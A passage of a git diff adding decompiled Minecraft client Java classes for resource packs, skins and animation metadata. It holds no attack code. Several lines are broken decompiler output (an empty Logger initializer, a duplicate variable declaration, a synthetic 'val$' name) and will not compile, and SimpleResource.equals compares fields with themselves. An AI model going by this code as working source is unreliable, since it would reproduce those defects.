+    Iterator var6 = resourcePacks.iterator();
+    
+    while (var6.hasNext())
+    {
+      String var7 = (String)var6.next();
+      Iterator var8 = repositoryEntriesAll.iterator();
+      
+      while (var8.hasNext())
+      {
+        Entry var9 = (Entry)var8.next();
+        
+        if (var9.getResourcePackName().equals(var7))
+        {
+          repositoryEntries.add(var9);
+          break;
+        }
+      }
+    }
+  }
+  
+  private void fixDirResourcepacks()
+  {
+    if ((!dirResourcepacks.isDirectory()) && ((!dirResourcepacks.delete()) || (!dirResourcepacks.mkdirs())))
+    {
+      field_177320_c.debug("Unable to create resourcepack folder: " + dirResourcepacks);
+    }
+  }
+  
+  private List getResourcePackFiles()
+  {
+    return dirResourcepacks.isDirectory() ? Arrays.asList(dirResourcepacks.listFiles(resourcePackFilter)) : Collections.emptyList();
+  }
+  
+  public void updateRepositoryEntriesAll()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = getResourcePackFiles().iterator();
+    
+    while (var2.hasNext())
+    {
+      File var3 = (File)var2.next();
+      Entry var4 = new Entry(var3, null);
+      
+      if (!repositoryEntriesAll.contains(var4))
+      {
+        try
+        {
+          var4.updateResourcePack();
+          var1.add(var4);
+        }
+        catch (Exception var6)
+        {
+          var1.remove(var4);
+        }
+      }
+      else
+      {
+        int var5 = repositoryEntriesAll.indexOf(var4);
+        
+        if ((var5 > -1) && (var5 < repositoryEntriesAll.size()))
+        {
+          var1.add(repositoryEntriesAll.get(var5));
+        }
+      }
+    }
+    
+    repositoryEntriesAll.removeAll(var1);
+    var2 = repositoryEntriesAll.iterator();
+    
+    while (var2.hasNext())
+    {
+      Entry var7 = (Entry)var2.next();
+      var7.closeResourcePack();
+    }
+    
+    repositoryEntriesAll = var1;
+  }
+  
+  public List getRepositoryEntriesAll()
+  {
+    return ImmutableList.copyOf(repositoryEntriesAll);
+  }
+  
+  public List getRepositoryEntries()
+  {
+    return ImmutableList.copyOf(repositoryEntries);
+  }
+  
+  public void func_148527_a(List p_148527_1_)
+  {
+    repositoryEntries.clear();
+    repositoryEntries.addAll(p_148527_1_);
+  }
+  
+  public File getDirResourcepacks()
+  {
+    return dirResourcepacks;
+  }
+  
+  public ListenableFuture func_180601_a(String p_180601_1_, String p_180601_2_)
+  {
+    String var3;
+    String var3;
+    if (p_180601_2_.matches("^[a-f0-9]{40}$"))
+    {
+      var3 = p_180601_2_;
+    }
+    else
+    {
+      var3 = p_180601_1_.substring(p_180601_1_.lastIndexOf("/") + 1);
+      
+      if (var3.contains("?"))
+      {
+        var3 = var3.substring(0, var3.indexOf("?"));
+      }
+      
+      if (!var3.endsWith(".zip"))
+      {
+        return Futures.immediateFailedFuture(new IllegalArgumentException("Invalid filename; must end in .zip"));
+      }
+      
+      var3 = "legacy_" + var3.replaceAll("\\W", "");
+    }
+    
+    final File var4 = new File(field_148534_e, var3);
+    field_177321_h.lock();
+    
+    try
+    {
+      func_148529_f();
+      ListenableFuture localListenableFuture1;
+      if ((var4.exists()) && (p_180601_2_.length() == 40))
+      {
+        try
+        {
+          String var5 = Hashing.sha1().hashBytes(Files.toByteArray(var4)).toString();
+          
+          if (var5.equals(p_180601_2_))
+          {
+            ListenableFuture var16 = func_177319_a(var4);
+            return var16;
+          }
+          
+          field_177320_c.warn("File " + var4 + " had wrong hash (expected " + p_180601_2_ + ", found " + var5 + "). Deleting it.");
+          FileUtils.deleteQuietly(var4);
+        }
+        catch (IOException var13)
+        {
+          field_177320_c.warn("File " + var4 + " couldn't be hashed. Deleting it.", var13);
+          FileUtils.deleteQuietly(var4);
+        }
+      }
+      
+      final GuiScreenWorking var15 = new GuiScreenWorking();
+      Map var6 = Minecraft.func_175596_ai();
+      final Minecraft var7 = Minecraft.getMinecraft();
+      Futures.getUnchecked(var7.addScheduledTask(new Runnable()
+      {
+        private static final String __OBFID = "CL_00001089";
+        
+        public void run() {
+          var7.displayGuiScreen(var15);
+        }
+      }));
+      final SettableFuture var8 = SettableFuture.create();
+      field_177322_i = HttpUtil.func_180192_a(var4, p_180601_1_, var6, 52428800, var15, var7.getProxy());
+      Futures.addCallback(field_177322_i, new FutureCallback()
+      {
+        private static final String __OBFID = "CL_00002394";
+        
+        public void onSuccess(Object p_onSuccess_1_) {
+          func_177319_a(var4);
+          var8.set(null);
+        }
+        
+        public void onFailure(Throwable p_onFailure_1_) {
+          var8.setException(p_onFailure_1_);
+        }
+      });
+      ListenableFuture var9 = field_177322_i;
+      return var9;
+    }
+    finally
+    {
+      field_177321_h.unlock();
+    }
+  }
+  
+  public ListenableFuture func_177319_a(File p_177319_1_)
+  {
+    field_148532_f = new FileResourcePack(p_177319_1_);
+    return Minecraft.getMinecraft().func_175603_A();
+  }
+  
+
+
+
+  public IResourcePack getResourcePackInstance()
+  {
+    return field_148532_f;
+  }
+  
+  public void func_148529_f()
+  {
+    field_177321_h.lock();
+    
+    try
+    {
+      if (field_177322_i != null)
+      {
+        field_177322_i.cancel(true);
+      }
+      
+      field_177322_i = null;
+      field_148532_f = null;
+    }
+    finally
+    {
+      field_177321_h.unlock();
+    }
+  }
+  
+  public class Entry
+  {
+    private final File resourcePackFile;
+    private IResourcePack reResourcePack;
+    private PackMetadataSection rePackMetadataSection;
+    private BufferedImage texturePackIcon;
+    private ResourceLocation locationTexturePackIcon;
+    private static final String __OBFID = "CL_00001090";
+    
+    private Entry(File p_i1295_2_)
+    {
+      resourcePackFile = p_i1295_2_;
+    }
+    
+    public void updateResourcePack() throws IOException
+    {
+      reResourcePack = (resourcePackFile.isDirectory() ? new FolderResourcePack(resourcePackFile) : new FileResourcePack(resourcePackFile));
+      rePackMetadataSection = ((PackMetadataSection)reResourcePack.getPackMetadata(rprMetadataSerializer, "pack"));
+      
+      try
+      {
+        texturePackIcon = reResourcePack.getPackImage();
+      }
+      catch (IOException localIOException) {}
+      
+
+
+
+      if (texturePackIcon == null)
+      {
+        texturePackIcon = rprDefaultResourcePack.getPackImage();
+      }
+      
+      closeResourcePack();
+    }
+    
+    public void bindTexturePackIcon(TextureManager p_110518_1_)
+    {
+      if (locationTexturePackIcon == null)
+      {
+        locationTexturePackIcon = p_110518_1_.getDynamicTextureLocation("texturepackicon", new net.minecraft.client.renderer.texture.DynamicTexture(texturePackIcon));
+      }
+      
+      p_110518_1_.bindTexture(locationTexturePackIcon);
+    }
+    
+    public void closeResourcePack()
+    {
+      if ((reResourcePack instanceof Closeable))
+      {
+        org.apache.commons.io.IOUtils.closeQuietly((Closeable)reResourcePack);
+      }
+    }
+    
+    public IResourcePack getResourcePack()
+    {
+      return reResourcePack;
+    }
+    
+    public String getResourcePackName()
+    {
+      return reResourcePack.getPackName();
+    }
+    
+    public String getTexturePackDescription()
+    {
+      return rePackMetadataSection == null ? EnumChatFormatting.RED + "Invalid pack.mcmeta (or missing 'pack' section)" : rePackMetadataSection.func_152805_a().getFormattedText();
+    }
+    
+    public boolean equals(Object p_equals_1_)
+    {
+      return this == p_equals_1_;
+    }
+    
+    public int hashCode()
+    {
+      return toString().hashCode();
+    }
+    
+    public String toString()
+    {
+      return String.format("%s:%s:%d", new Object[] { resourcePackFile.getName(), resourcePackFile.isDirectory() ? "folder" : "zip", Long.valueOf(resourcePackFile.lastModified()) });
+    }
+    
+    Entry(File p_i1296_2_, Object p_i1296_3_)
+    {
+      this(p_i1296_2_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/SimpleReloadableResourceManager.java b/src/minecraft/net/minecraft/client/resources/SimpleReloadableResourceManager.java
new file mode 100644
index 0000000..28ab74c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/SimpleReloadableResourceManager.java
@@ -0,0 +1,134 @@
+package net.minecraft.client.resources;
+
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class SimpleReloadableResourceManager implements IReloadableResourceManager
+{
+  private static final Logger logger = ;
+  private static final Joiner joinerResourcePacks = Joiner.on(", ");
+  private final Map domainResourceManagers = Maps.newHashMap();
+  private final List reloadListeners = Lists.newArrayList();
+  private final Set setResourceDomains = Sets.newLinkedHashSet();
+  private final IMetadataSerializer rmMetadataSerializer;
+  private static final String __OBFID = "CL_00001091";
+  
+  public SimpleReloadableResourceManager(IMetadataSerializer p_i1299_1_)
+  {
+    rmMetadataSerializer = p_i1299_1_;
+  }
+  
+
+  public void reloadResourcePack(IResourcePack p_110545_1_)
+  {
+    FallbackResourceManager var4;
+    for (Iterator var2 = p_110545_1_.getResourceDomains().iterator(); var2.hasNext(); var4.addResourcePack(p_110545_1_))
+    {
+      String var3 = (String)var2.next();
+      setResourceDomains.add(var3);
+      var4 = (FallbackResourceManager)domainResourceManagers.get(var3);
+      
+      if (var4 == null)
+      {
+        var4 = new FallbackResourceManager(rmMetadataSerializer);
+        domainResourceManagers.put(var3, var4);
+      }
+    }
+  }
+  
+  public Set getResourceDomains()
+  {
+    return setResourceDomains;
+  }
+  
+  public IResource getResource(ResourceLocation p_110536_1_) throws IOException
+  {
+    IResourceManager var2 = (IResourceManager)domainResourceManagers.get(p_110536_1_.getResourceDomain());
+    
+    if (var2 != null)
+    {
+      return var2.getResource(p_110536_1_);
+    }
+    
+
+    throw new FileNotFoundException(p_110536_1_.toString());
+  }
+  
+  public List getAllResources(ResourceLocation p_135056_1_)
+    throws IOException
+  {
+    IResourceManager var2 = (IResourceManager)domainResourceManagers.get(p_135056_1_.getResourceDomain());
+    
+    if (var2 != null)
+    {
+      return var2.getAllResources(p_135056_1_);
+    }
+    
+
+    throw new FileNotFoundException(p_135056_1_.toString());
+  }
+  
+
+  private void clearResources()
+  {
+    domainResourceManagers.clear();
+    setResourceDomains.clear();
+  }
+  
+  public void reloadResources(List p_110541_1_)
+  {
+    clearResources();
+    logger.info("Reloading ResourceManager: " + joinerResourcePacks.join(Iterables.transform(p_110541_1_, new Function()
+    {
+      private static final String __OBFID = "CL_00001092";
+      
+      public String apply(IResourcePack p_apply_1_) {
+        return p_apply_1_.getPackName();
+      }
+      
+      public Object apply(Object p_apply_1_) {
+        return apply((IResourcePack)p_apply_1_);
+      }
+    })));
+    Iterator var2 = p_110541_1_.iterator();
+    
+    while (var2.hasNext())
+    {
+      IResourcePack var3 = (IResourcePack)var2.next();
+      reloadResourcePack(var3);
+    }
+    
+    notifyReloadListeners();
+  }
+  
+  public void registerReloadListener(IResourceManagerReloadListener p_110542_1_)
+  {
+    reloadListeners.add(p_110542_1_);
+    p_110542_1_.onResourceManagerReload(this);
+  }
+  
+  private void notifyReloadListeners()
+  {
+    Iterator var1 = reloadListeners.iterator();
+    
+    while (var1.hasNext())
+    {
+      IResourceManagerReloadListener var2 = (IResourceManagerReloadListener)var1.next();
+      var2.onResourceManagerReload(this);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/SimpleResource.java b/src/minecraft/net/minecraft/client/resources/SimpleResource.java
new file mode 100644
index 0000000..ccd26e2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/SimpleResource.java
@@ -0,0 +1,139 @@
+package net.minecraft.client.resources;
+
+import com.google.common.collect.Maps;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.Map;
+import net.minecraft.client.resources.data.IMetadataSection;
+import net.minecraft.client.resources.data.IMetadataSerializer;
+import net.minecraft.util.ResourceLocation;
+import org.apache.commons.io.IOUtils;
+
+public class SimpleResource implements IResource
+{
+  private final Map mapMetadataSections = Maps.newHashMap();
+  private final String field_177242_b;
+  private final ResourceLocation srResourceLocation;
+  private final InputStream resourceInputStream;
+  private final InputStream mcmetaInputStream;
+  private final IMetadataSerializer srMetadataSerializer;
+  private boolean mcmetaJsonChecked;
+  private JsonObject mcmetaJson;
+  private static final String __OBFID = "CL_00001093";
+  
+  public SimpleResource(String p_i46090_1_, ResourceLocation p_i46090_2_, InputStream p_i46090_3_, InputStream p_i46090_4_, IMetadataSerializer p_i46090_5_)
+  {
+    field_177242_b = p_i46090_1_;
+    srResourceLocation = p_i46090_2_;
+    resourceInputStream = p_i46090_3_;
+    mcmetaInputStream = p_i46090_4_;
+    srMetadataSerializer = p_i46090_5_;
+  }
+  
+  public ResourceLocation func_177241_a()
+  {
+    return srResourceLocation;
+  }
+  
+  public InputStream getInputStream()
+  {
+    return resourceInputStream;
+  }
+  
+  public boolean hasMetadata()
+  {
+    return mcmetaInputStream != null;
+  }
+  
+  public IMetadataSection getMetadata(String p_110526_1_)
+  {
+    if (!hasMetadata())
+    {
+      return null;
+    }
+    
+
+    if ((mcmetaJson == null) && (!mcmetaJsonChecked))
+    {
+      mcmetaJsonChecked = true;
+      BufferedReader var2 = null;
+      
+      try
+      {
+        var2 = new BufferedReader(new InputStreamReader(mcmetaInputStream));
+        mcmetaJson = new JsonParser().parse(var2).getAsJsonObject();
+      }
+      finally
+      {
+        IOUtils.closeQuietly(var2);
+      }
+    }
+    
+    IMetadataSection var6 = (IMetadataSection)mapMetadataSections.get(p_110526_1_);
+    
+    if (var6 == null)
+    {
+      var6 = srMetadataSerializer.parseMetadataSection(p_110526_1_, mcmetaJson);
+    }
+    
+    return var6;
+  }
+  
+
+  public String func_177240_d()
+  {
+    return field_177242_b;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (this == p_equals_1_)
+    {
+      return true;
+    }
+    if (!(p_equals_1_ instanceof SimpleResource))
+    {
+      return false;
+    }
+    
+
+    SimpleResource var2 = (SimpleResource)p_equals_1_;
+    
+    if (srResourceLocation != null)
+    {
+      if (!srResourceLocation.equals(srResourceLocation))
+      {
+        return false;
+      }
+    }
+    else if (srResourceLocation != null)
+    {
+      return false;
+    }
+    
+    if (field_177242_b != null)
+    {
+      if (!field_177242_b.equals(field_177242_b))
+      {
+        return false;
+      }
+    }
+    else if (field_177242_b != null)
+    {
+      return false;
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int var1 = field_177242_b != null ? field_177242_b.hashCode() : 0;
+    var1 = 31 * var1 + (srResourceLocation != null ? srResourceLocation.hashCode() : 0);
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/SkinManager.java b/src/minecraft/net/minecraft/client/resources/SkinManager.java
new file mode 100644
index 0000000..823aafc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/SkinManager.java
@@ -0,0 +1,167 @@
+package net.minecraft.client.resources;
+
+import com.google.common.cache.CacheBuilder;
+import com.google.common.cache.CacheLoader;
+import com.google.common.cache.LoadingCache;
+import com.google.common.collect.Maps;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.minecraft.InsecureTextureException;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type;
+import com.mojang.authlib.minecraft.MinecraftSessionService;
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.IImageBuffer;
+import net.minecraft.client.renderer.ImageBufferDownload;
+import net.minecraft.client.renderer.ThreadDownloadImageData;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Session;
+
+public class SkinManager
+{
+  private static final ExecutorService THREAD_POOL = new java.util.concurrent.ThreadPoolExecutor(0, 2, 1L, TimeUnit.MINUTES, new LinkedBlockingQueue());
+  private final TextureManager textureManager;
+  private final File skinCacheDir;
+  private final MinecraftSessionService sessionService;
+  private final LoadingCache skinCacheLoader;
+  private static final String __OBFID = "CL_00001830";
+  
+  public SkinManager(TextureManager textureManagerInstance, File skinCacheDirectory, MinecraftSessionService sessionService)
+  {
+    textureManager = textureManagerInstance;
+    skinCacheDir = skinCacheDirectory;
+    this.sessionService = sessionService;
+    skinCacheLoader = CacheBuilder.newBuilder().expireAfterAccess(15L, TimeUnit.SECONDS).build(new CacheLoader()
+    {
+      private static final String __OBFID = "CL_00001829";
+      
+      public Map func_152786_a(GameProfile p_152786_1_) {
+        return Minecraft.getMinecraft().getSessionService().getTextures(p_152786_1_, false);
+      }
+      
+      public Object load(Object p_load_1_) {
+        return func_152786_a((GameProfile)p_load_1_);
+      }
+    });
+  }
+  
+
+
+
+  public ResourceLocation loadSkin(MinecraftProfileTexture p_152792_1_, MinecraftProfileTexture.Type p_152792_2_)
+  {
+    return loadSkin(p_152792_1_, p_152792_2_, null);
+  }
+  
+
+
+
+  public ResourceLocation loadSkin(final MinecraftProfileTexture p_152789_1_, final MinecraftProfileTexture.Type p_152789_2_, final SkinAvailableCallback p_152789_3_)
+  {
+    final ResourceLocation var4 = new ResourceLocation("skins/" + p_152789_1_.getHash());
+    ITextureObject var5 = textureManager.getTexture(var4);
+    
+    if (var5 != null)
+    {
+      if (p_152789_3_ != null)
+      {
+        p_152789_3_.func_180521_a(p_152789_2_, var4, p_152789_1_);
+      }
+    }
+    else
+    {
+      File var6 = new File(skinCacheDir, p_152789_1_.getHash().substring(0, 2));
+      File var7 = new File(var6, p_152789_1_.getHash());
+      final ImageBufferDownload var8 = p_152789_2_ == MinecraftProfileTexture.Type.SKIN ? new ImageBufferDownload() : null;
+      ThreadDownloadImageData var9 = new ThreadDownloadImageData(var7, p_152789_1_.getUrl(), DefaultPlayerSkin.func_177335_a(), new IImageBuffer()
+      {
+        private static final String __OBFID = "CL_00001828";
+        
+        public BufferedImage parseUserSkin(BufferedImage p_78432_1_) {
+          if (var8 != null)
+          {
+            p_78432_1_ = var8.parseUserSkin(p_78432_1_);
+          }
+          
+          return p_78432_1_;
+        }
+        
+        public void func_152634_a() {
+          if (var8 != null)
+          {
+            var8.func_152634_a();
+          }
+          
+          if (p_152789_3_ != null)
+          {
+            p_152789_3_.func_180521_a(p_152789_2_, var4, p_152789_1_);
+          }
+        }
+      });
+      textureManager.loadTexture(var4, var9);
+    }
+    
+    return var4;
+  }
+  
+  public void func_152790_a(final GameProfile p_152790_1_, final SkinAvailableCallback p_152790_2_, final boolean p_152790_3_)
+  {
+    THREAD_POOL.submit(new Runnable()
+    {
+      private static final String __OBFID = "CL_00001827";
+      
+      public void run() {
+        final HashMap var1 = Maps.newHashMap();
+        
+        try
+        {
+          var1.putAll(sessionService.getTextures(p_152790_1_, p_152790_3_));
+        }
+        catch (InsecureTextureException localInsecureTextureException) {}
+        
+
+
+
+        if ((var1.isEmpty()) && (p_152790_1_.getId().equals(Minecraft.getMinecraft().getSession().getProfile().getId())))
+        {
+          var1.putAll(sessionService.getTextures(sessionService.fillProfileProperties(p_152790_1_, false), false));
+        }
+        
+        Minecraft.getMinecraft().addScheduledTask(new Runnable()
+        {
+          private static final String __OBFID = "CL_00001826";
+          
+          public void run() {
+            if (var1.containsKey(MinecraftProfileTexture.Type.SKIN))
+            {
+              loadSkin((MinecraftProfileTexture)var1.get(MinecraftProfileTexture.Type.SKIN), MinecraftProfileTexture.Type.SKIN, val$p_152790_2_);
+            }
+            
+            if (var1.containsKey(MinecraftProfileTexture.Type.CAPE))
+            {
+              loadSkin((MinecraftProfileTexture)var1.get(MinecraftProfileTexture.Type.CAPE), MinecraftProfileTexture.Type.CAPE, val$p_152790_2_);
+            }
+          }
+        });
+      }
+    });
+  }
+  
+  public Map loadSkinFromCache(GameProfile p_152788_1_)
+  {
+    return (Map)skinCacheLoader.getUnchecked(p_152788_1_);
+  }
+  
+  public static abstract interface SkinAvailableCallback
+  {
+    public abstract void func_180521_a(MinecraftProfileTexture.Type paramType, ResourceLocation paramResourceLocation, MinecraftProfileTexture paramMinecraftProfileTexture);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/AnimationFrame.java b/src/minecraft/net/minecraft/client/resources/data/AnimationFrame.java
new file mode 100644
index 0000000..2e7ed2f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/AnimationFrame.java
@@ -0,0 +1,34 @@
+package net.minecraft.client.resources.data;
+
+public class AnimationFrame
+{
+  private final int frameIndex;
+  private final int frameTime;
+  private static final String __OBFID = "CL_00001104";
+  
+  public AnimationFrame(int p_i1307_1_)
+  {
+    this(p_i1307_1_, -1);
+  }
+  
+  public AnimationFrame(int p_i1308_1_, int p_i1308_2_)
+  {
+    frameIndex = p_i1308_1_;
+    frameTime = p_i1308_2_;
+  }
+  
+  public boolean hasNoTime()
+  {
+    return frameTime == -1;
+  }
+  
+  public int getFrameTime()
+  {
+    return frameTime;
+  }
+  
+  public int getFrameIndex()
+  {
+    return frameIndex;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSection.java
new file mode 100644
index 0000000..0a38610
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSection.java
@@ -0,0 +1,86 @@
+package net.minecraft.client.resources.data;
+
+import com.google.common.collect.Sets;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+
+public class AnimationMetadataSection implements IMetadataSection
+{
+  private final List animationFrames;
+  private final int frameWidth;
+  private final int frameHeight;
+  private final int frameTime;
+  private final boolean field_177220_e;
+  private static final String __OBFID = "CL_00001106";
+  
+  public AnimationMetadataSection(List p_i46088_1_, int p_i46088_2_, int p_i46088_3_, int p_i46088_4_, boolean p_i46088_5_)
+  {
+    animationFrames = p_i46088_1_;
+    frameWidth = p_i46088_2_;
+    frameHeight = p_i46088_3_;
+    frameTime = p_i46088_4_;
+    field_177220_e = p_i46088_5_;
+  }
+  
+  public int getFrameHeight()
+  {
+    return frameHeight;
+  }
+  
+  public int getFrameWidth()
+  {
+    return frameWidth;
+  }
+  
+  public int getFrameCount()
+  {
+    return animationFrames.size();
+  }
+  
+  public int getFrameTime()
+  {
+    return frameTime;
+  }
+  
+  public boolean func_177219_e()
+  {
+    return field_177220_e;
+  }
+  
+  private AnimationFrame getAnimationFrame(int p_130072_1_)
+  {
+    return (AnimationFrame)animationFrames.get(p_130072_1_);
+  }
+  
+  public int getFrameTimeSingle(int p_110472_1_)
+  {
+    AnimationFrame var2 = getAnimationFrame(p_110472_1_);
+    return var2.hasNoTime() ? frameTime : var2.getFrameTime();
+  }
+  
+  public boolean frameHasTime(int p_110470_1_)
+  {
+    return !((AnimationFrame)animationFrames.get(p_110470_1_)).hasNoTime();
+  }
+  
+  public int getFrameIndex(int p_110468_1_)
+  {
+    return ((AnimationFrame)animationFrames.get(p_110468_1_)).getFrameIndex();
+  }
+  
+  public Set getFrameIndexSet()
+  {
+    HashSet var1 = Sets.newHashSet();
+    Iterator var2 = animationFrames.iterator();
+    
+    while (var2.hasNext())
+    {
+      AnimationFrame var3 = (AnimationFrame)var2.next();
+      var1.add(Integer.valueOf(var3.getFrameIndex()));
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSectionSerializer.java
new file mode 100644
index 0000000..e3fa307
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/AnimationMetadataSectionSerializer.java
@@ -0,0 +1,154 @@
+package net.minecraft.client.resources.data;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonDeserializationContext;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSerializationContext;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import net.minecraft.util.JsonUtils;
+import org.apache.commons.lang3.Validate;
+
+public class AnimationMetadataSectionSerializer extends BaseMetadataSectionSerializer implements com.google.gson.JsonSerializer
+{
+  private static final String __OBFID = "CL_00001107";
+  
+  public AnimationMetadataSectionSerializer() {}
+  
+  public AnimationMetadataSection deserialize(JsonElement p_deserialize_1_, Type p_deserialize_2_, JsonDeserializationContext p_deserialize_3_)
+  {
+    ArrayList var4 = com.google.common.collect.Lists.newArrayList();
+    JsonObject var5 = JsonUtils.getElementAsJsonObject(p_deserialize_1_, "metadata section");
+    int var6 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var5, "frametime", 1);
+    
+    if (var6 != 1)
+    {
+      Validate.inclusiveBetween(1L, 2147483647L, var6, "Invalid default frame time");
+    }
+    
+
+
+    if (var5.has("frames"))
+    {
+      try
+      {
+        JsonArray var7 = JsonUtils.getJsonObjectJsonArrayField(var5, "frames");
+        
+        for (int var8 = 0; var8 < var7.size(); var8++)
+        {
+          JsonElement var9 = var7.get(var8);
+          AnimationFrame var10 = parseAnimationFrame(var8, var9);
+          
+          if (var10 != null)
+          {
+            var4.add(var10);
+          }
+        }
+      }
+      catch (ClassCastException var11)
+      {
+        throw new JsonParseException("Invalid animation->frames: expected array, was " + var5.get("frames"), var11);
+      }
+    }
+    
+    int var12 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var5, "width", -1);
+    int var8 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var5, "height", -1);
+    
+    if (var12 != -1)
+    {
+      Validate.inclusiveBetween(1L, 2147483647L, var12, "Invalid width");
+    }
+    
+    if (var8 != -1)
+    {
+      Validate.inclusiveBetween(1L, 2147483647L, var8, "Invalid height");
+    }
+    
+    boolean var13 = JsonUtils.getJsonObjectBooleanFieldValueOrDefault(var5, "interpolate", false);
+    return new AnimationMetadataSection(var4, var12, var8, var6, var13);
+  }
+  
+  private AnimationFrame parseAnimationFrame(int p_110492_1_, JsonElement p_110492_2_)
+  {
+    if (p_110492_2_.isJsonPrimitive())
+    {
+      return new AnimationFrame(JsonUtils.getJsonElementIntegerValue(p_110492_2_, "frames[" + p_110492_1_ + "]"));
+    }
+    if (p_110492_2_.isJsonObject())
+    {
+      JsonObject var3 = JsonUtils.getElementAsJsonObject(p_110492_2_, "frames[" + p_110492_1_ + "]");
+      int var4 = JsonUtils.getJsonObjectIntegerFieldValueOrDefault(var3, "time", -1);
+      
+      if (var3.has("time"))
+      {
+        Validate.inclusiveBetween(1L, 2147483647L, var4, "Invalid frame time");
+      }
+      
+      int var5 = JsonUtils.getJsonObjectIntegerFieldValue(var3, "index");
+      Validate.inclusiveBetween(0L, 2147483647L, var5, "Invalid frame index");
+      return new AnimationFrame(var5, var4);
+    }
+    
+
+    return null;
+  }
+  
+
+  public JsonElement serialize(AnimationMetadataSection p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+  {
+    JsonObject var4 = new JsonObject();
+    var4.addProperty("frametime", Integer.valueOf(p_serialize_1_.getFrameTime()));
+    
+    if (p_serialize_1_.getFrameWidth() != -1)
+    {
+      var4.addProperty("width", Integer.valueOf(p_serialize_1_.getFrameWidth()));
+    }
+    
+    if (p_serialize_1_.getFrameHeight() != -1)
+    {
+      var4.addProperty("height", Integer.valueOf(p_serialize_1_.getFrameHeight()));
+    }
+    
+    if (p_serialize_1_.getFrameCount() > 0)
+    {
+      JsonArray var5 = new JsonArray();
+      
+      for (int var6 = 0; var6 < p_serialize_1_.getFrameCount(); var6++)
+      {
+        if (p_serialize_1_.frameHasTime(var6))
+        {
+          JsonObject var7 = new JsonObject();
+          var7.addProperty("index", Integer.valueOf(p_serialize_1_.getFrameIndex(var6)));
+          var7.addProperty("time", Integer.valueOf(p_serialize_1_.getFrameTimeSingle(var6)));
+          var5.add(var7);
+        }
+        else
+        {
+          var5.add(new JsonPrimitive(Integer.valueOf(p_serialize_1_.getFrameIndex(var6))));
+        }
+      }
+      
+      var4.add("frames", var5);
+    }
+    
+    return var4;
+  }
+  
+
+
+
+  public String getSectionName()
+  {
+    return "animation";
+  }
+  
+
+
+  public JsonElement serialize(Object p_serialize_1_, Type p_serialize_2_, JsonSerializationContext p_serialize_3_)
+  {
+    return serialize((AnimationMetadataSection)p_serialize_1_, p_serialize_2_, p_serialize_3_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/BaseMetadataSectionSerializer.java b/src/minecraft/net/minecraft/client/resources/data/BaseMetadataSectionSerializer.java
new file mode 100644
index 0000000..a5fabb4
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/BaseMetadataSectionSerializer.java
@@ -0,0 +1,9 @@
+package net.minecraft.client.resources.data;
+
+public abstract class BaseMetadataSectionSerializer
+  implements IMetadataSectionSerializer
+{
+  private static final String __OBFID = "CL_00001098";
+  
+  public BaseMetadataSectionSerializer() {}
+}
diff --git a/src/minecraft/net/minecraft/client/resources/data/FontMetadataSection.java b/src/minecraft/net/minecraft/client/resources/data/FontMetadataSection.java
new file mode 100644
index 0000000..69036c3
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/resources/data/FontMetadataSection.java
@@ -0,0 +1,16 @@
+package net.minecraft.client.resources.data;
+
+public class FontMetadataSection implements IMetadataSection
+{
+  private final float[] charWidths;
+  private final float[] charLefts;
+  private final float[] charSpacings;
+  private static final String __OBFID = "CL_00001108";
+  
+  public FontMetadataSection(float[] p_i1310_1_, float[] p_i1310_2_, float[] p_i1310_3_)
+  {
+    charWidths = p_i1310_1_;
+    charLefts = p_i1310_2_;
+    charSpacings = p_i1310_3_;
+  }
+}
